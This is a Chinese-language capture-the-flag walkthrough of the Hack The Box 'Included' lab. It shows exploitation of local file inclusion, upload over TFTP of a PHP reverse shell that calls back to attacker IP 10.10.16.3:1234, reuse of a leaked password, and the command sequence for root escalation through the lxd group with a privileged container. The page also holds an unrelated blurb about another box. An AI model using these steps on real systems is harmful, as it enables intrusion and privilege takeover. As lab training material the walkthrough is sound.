Hack The Box - Included

答:TFTP

-sU udp方式扫描,扫描效率较慢

答:Local File Inclusion

发送80端口开放

访问一波,看到URL有?file=home.php,可能存在文件包含漏洞(Local File Inclusion)

答:/var/lib/tftpboot

尝试一波目录穿越访问/etc/passwd,获取默认文件夹为/var/lib/tftpboot

tftp:x:110:113:tftp daemon,,,:/var/lib/tftpboot:/usr/sbin/nologin
各字段详细说明:

1、用户名 用户的登录名

2、密码占位符 一般为x或* x表示密码被存储在/etc/shadow文件中

3、用户ID 每个用户在系统中有一个唯一的数字标识符。系统和管理账户通常有特定的 UID(如 root 的 UID 为 0)。普通用户的 UID 从 1000 开始。

4、组ID 指定用户所属的主要用户组的数字标识符。系统将用户分配到一个或多个组,每个组也有一个唯一的 GID。

5、用户信息 用于存储用户的全名或其他描述信息。

6、主目录 用户登录后默认的工作目录。如果用户的主目录不存在,用户将无法登录。

7、登录shell 用户登录后所使用的 shell。它可以是 /bin/bash、/bin/sh、/usr/sbin/nologin 等。usr/sbin/nologin 表示用户不能通过常规方式登录系统。

这里考虑利用TFTP服务上传木马,反弹shell,再进一步查看Web服务器文件夹。

构造反弹shell木马,木马如下,修改攻击机ip为10.10.16.3,指定端口1234

raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

TFTP服务连接并上传木马

本地开启1234端口监听连接

利用文件包含漏洞访问TFTP默认存储路径下,我们上传的木马文件,触发连接。

成功反弹shell,有告警,连接不稳定

/bin/sh: 0: can't access tty; job control turned off

执行命令

script /dev/null -c bash 

重定向并建立一个稳定的会话。

在网站目录下查看当前文件夹,这里重点查看.htaccess和.htpasswd,看能不能获取信息。

在.htpasswd文件里面发现了一个用户名为mike,口令为Sheffield19,可用于横向移动。

答:.htpasswd

答:lxd

切换至mike用户,id查看当前用户组

这里需要进一步提权,参考文章lxd/lxc Group - Privilege escalation | HackTricks

提权思路:利用Alpine镜像,下载并在本地构建后,使用HTTP服务器将其上传到远程系统。然后将镜像导入到LXD中,并使用它来挂载主机文件系统获取根特权。

答:alpine

首先安装go环境
sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools

构建lxd distribution builder
 git clone https://github.com/lxc/distrobuilder
 cd distrobuilder
 make

构建过程踩了两个雷,一个是下载模块超时问题

解决使用go get 下载模块下载超时的问题_go: downloading超时-CSDN博客

还有一个就是后续执行发现不支持build-lxd,找到了类似问题是版本过高

Starting point: Included, problem building Alpine - HTB Content - Hack The Box :: Forums

于是换了一个distrobuilder-2.0版本构建

tar wget https://github.com/lxc/distrobuilder/archive/refs/tags/distrobuilder-2.0.zip

解压完进入目录后,再make一下

下载Alpine YAML

mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18

最后执行build-lxd时又出问题了

修改一下files下的generator值,有非预期的值incus-agent,修改为lxd-agent即可解决这个问题

成功执行生成镜像

sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18

生成了lxd.tar.xz和rootfs.squashfs两个文件,这里开启服务器供目标机器下载,把文件传过去

python -m http.server 8000

wget http://10.10.16.4:8000/lxd.tar.xz

wget http://10.10.16.4:8000/rootfs.squashfs

查看一下镜像列表,已经成功导入了

lxc image list

设置security.privileged为ture,这样容器就能拥有根文件系统拥有的所有特权
lxc init alpine privesc -c security.privileged=true

在 LXC 容器中添加一个磁盘设备并挂载到/mnt文件夹
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

答:security.privileged=true

启动容器,开启root shell完成提权。

启动容器
lxc start privesc
开启shell
lxc exec privesc /bin/sh

查看当前用户id,是root用户。

答:/mnt/root/

用户flag在/home/mike/user.txt里面

root flag在/mnt/root/root/root.txt

拿下Included!

  • 14
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
HackTheBox - Reel是一个在黑客社区非常受欢迎的虚拟机靶场。这个靶场的目标是通过渗透测试和攻击手法,找到并获得系统的管理员权限。靶场基于漏洞存在和网络安全问题,提供了一个真实的环境来练习和提升安全技能。 Reel虚拟机是以恶意软件传播为主题的,这是一个很常见但危险的网络攻击。在解决这个靶场时,你需要进行全面的信息搜集,发现可能的漏洞,并利用这些漏洞来控制系统。你还需要进行各种网络嗅探和流量分析操作,以便找到系统中的隐藏服务和登录凭证。 在攻击过程中,你需要利用各种漏洞包括未经授权的访问和远程执行代码等。还需要理解和使用不同的入侵技术,例如命令注入和文件上传等。此外,你可能还需要对恶意软件的分析和行为进行深入研究,以了解其运行机制。 HackTheBox - Reel不仅测试了你的渗透测试技能,而且还促使你加强对恶意软件攻击和防护的了解。同时,这个靶场还有很多高级技术和技巧需要掌握。通过挑战这样的虚拟机,你可以提高你的安全意识和技能,以应对更复杂和高级的网络攻击。 总之,HackTheBox - Reel是一个非常有挑战性的虚拟机靶场,通过攻击和渗透测试,你将提高你的安全技能,并了解到如何防范和对抗恶意软件传播。这是一个很好的方式来锻炼和提升你的网络安全技术。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值